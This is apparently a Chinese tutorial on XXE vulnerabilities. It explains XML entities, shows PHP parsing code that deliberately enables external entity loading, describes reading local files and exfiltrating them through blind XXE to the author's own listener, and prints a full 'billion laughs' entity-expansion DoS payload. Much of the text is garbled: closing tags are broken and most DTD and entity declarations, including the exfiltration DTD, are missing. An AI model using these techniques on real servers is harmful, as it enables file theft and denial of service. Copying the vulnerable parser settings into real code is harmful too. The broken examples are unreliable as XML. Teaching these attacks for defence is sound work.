本篇主要介绍一下关于xxe漏洞的基础知识,以及一些利用和危害。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
但是在这里我们讲解与xxe漏洞相关的较为基础的内容:
首先,一个xml文档类似于html,只不过xml标签可以自定义,示例如下:
<users>
<user id="1">
<username>adminusername>
<password>123456password>
user>
<user id="2">
<username>guestusername>
<password>nonepassword>
user>
users>
上面就是一个xml文档,可以看到,它利用自定义的标签来定义数据,里面的有效数据就是用户名和密码;
然后我们再介绍一下DTD,DTD是文档类型定义,主要用于规范,加载xml文档的,我们直接上实例来学习一下:
<!ELEMENT user (username, password)>
<!ATTLIST user id CDATA (#REQUIRED)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
]>
<users>
<user id="1">
<username>adminusername>
<password>123456password>
user>
<user id="2">
<username>guestusername>
<password>nonepassword>
user>
users>
然后我们来解释一下xml中新增的内容,首先是DOCTYPE的部分,是用于定义这个xml的根元素的,后面用 [ ] 括号包起来的是xml中的一些元素,我们使用 的格式来定义,其中在子标签后面有个加号,表示该子标签在当前标签中多次出现。然后继续往下,出现了一个属性id,关于属性也是需要定义的,格式为 ,包括继续往下的用户名标签和密码标签,由于是最后的标签了,所以只需要定义里面的数据类型为 #PCDATA 即可。
下面我们再来介绍一下DTD实体:
一般实体:
一般实体分为外部实体和内部实体,主要区别在于,一个加载外部文件内容,另一个加载内部定义好的内容。
这是内部实体:
使用方法:
]>
<root>&test;root>
这个其实就相当于一个变量,变量名为test,里面存放了"hello world"这个字符串,而在下面root标签中,&test; 就是显示出test的值,test这个实体名称可以换成其他的,使用方法仍然是 &实体名; 。
外部实体:
这种方法可以加载外部的内容:
]>
<root>&test;root>
与一般内部实体相似,只是加载了外部的内容。
参数实体:
参数实体也分为内部与外部,而且含义与一般实体一样,下面举例来说明与一般实体的不同:
">
%test;
]>
<root>hello worldroot>
上面就是参数内部实体,可以看到,test前面多了一个%符号,后面的内容变为了DTD的内容, 使用的位置变成了DTD内部 ,而且也不再是使用&符号了,而是 %test; 这种方式,相当于下面的写法:
]>
<root>hello worldroot>
最后还有参数外部实体,加载了外部定义的一些DTD内容。
使用方法:
%test;
]>
<root>hello worldroot>
补充一个加载外部DTD的方法:
注意:外部实体引用支持http、ftp、file等协议,当然,不同的语言也支持不同类型的协议!
XXE漏洞的产生,主要是因为后端解析xml时,加载了恶意用户定义的一些实体,从而读取到了内部的一些敏感文件,或是对内网的端口扫描及内网的攻击等。
首先来看一下后端代码:
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds =simplexml_import_dom($dom);
echo $creds;
?>
这段代码正常的加载了xml文档,然后将它传回了客户端。
我们抓包构造一个本地文件的读取,看是否能成功:
这里我们使用外部一般实体加载了system.ini文件,并在右边看到了结果,文件读取成功!
这个用法就是最基本的利用方式,如果在linux中,还可以加载 etc/passwd 文件来获取敏感信息。
我们再补充一个知识,就是关于一般实体引用的问题:如果一般实体加载的内容中有类似于" < > "之类的字符,将会导致后端的xml解析器识别错误,为了解决这个问题,我们可以使用CDATA的语法,因为被CDATA包括起来的内容将不被xml解析器解析。
类似于以下情况:
于是我们可以构造如下请求:
注意:以上的方法是没用的,因为xxe还没拼接就引用了,再尝试使用如下方法:
可以看到,即使这样子拼接仍然是没有效果的,主要原因是它不能放在标记语言中使用,但是在外部DTD中就不存在这个限制,然后我们再尝试使用外部DTD拼接:
Blind XXE指的是无回显的xxe,我们到现在为止看到的xxe,都是后端会将结果传递回前端,但是存在一种特殊情况就是不传递数据,我们也就看不到敏感信息,但是我们任然可以使用数据外带的方式来获取敏感信息。
即使我们看不到敏感信息,但是我们可以利用敏感信息作为url的参数,来让xml请求我们自己的服务,这样我们就可以通过请求记录看到敏感信息了。
先看一下后端代码:
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds =simplexml_import_dom($dom);
?>
可以看到这里没有输出语句,结果也就没有输出:
然后让页面加载我们自己定义的DTD文件,首先编写而已dtd文件:
内容如下:
evil2.dtd:
">
%dtd;
上面的dtd首先使用了base64编码了我们要读取的文件(xmltest2.txt),然后再构造一个参数实体,拼接了上面编码后的文件内容,构成了url,IP地址是我们本机刚刚开启的,包括端口,最后再引用。
下面我们就可以直接利用了:
这里我们直接使用了外部DTD,让它加载了我们刚刚配置的DTD,并且下面引用了send。
我们再回来看看监听的端口:
可以看到,端口收到了一个请求,其中的参数只要再见过base64解码,就是我们需要的信息了。
这里提供几种其他攻击方式,但是不再详细讲解:
1、利用xxe可以递归的创建实体,达到DOS攻击的效果;
payload:不要随意尝试!
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;lolz>
2、执行系统命令;
3、内网存活主机,端口,服务的扫描及攻击;
1、对用户可控的数据要进行过滤;
2、禁止加载DTD;
3、检测敏感协议;
…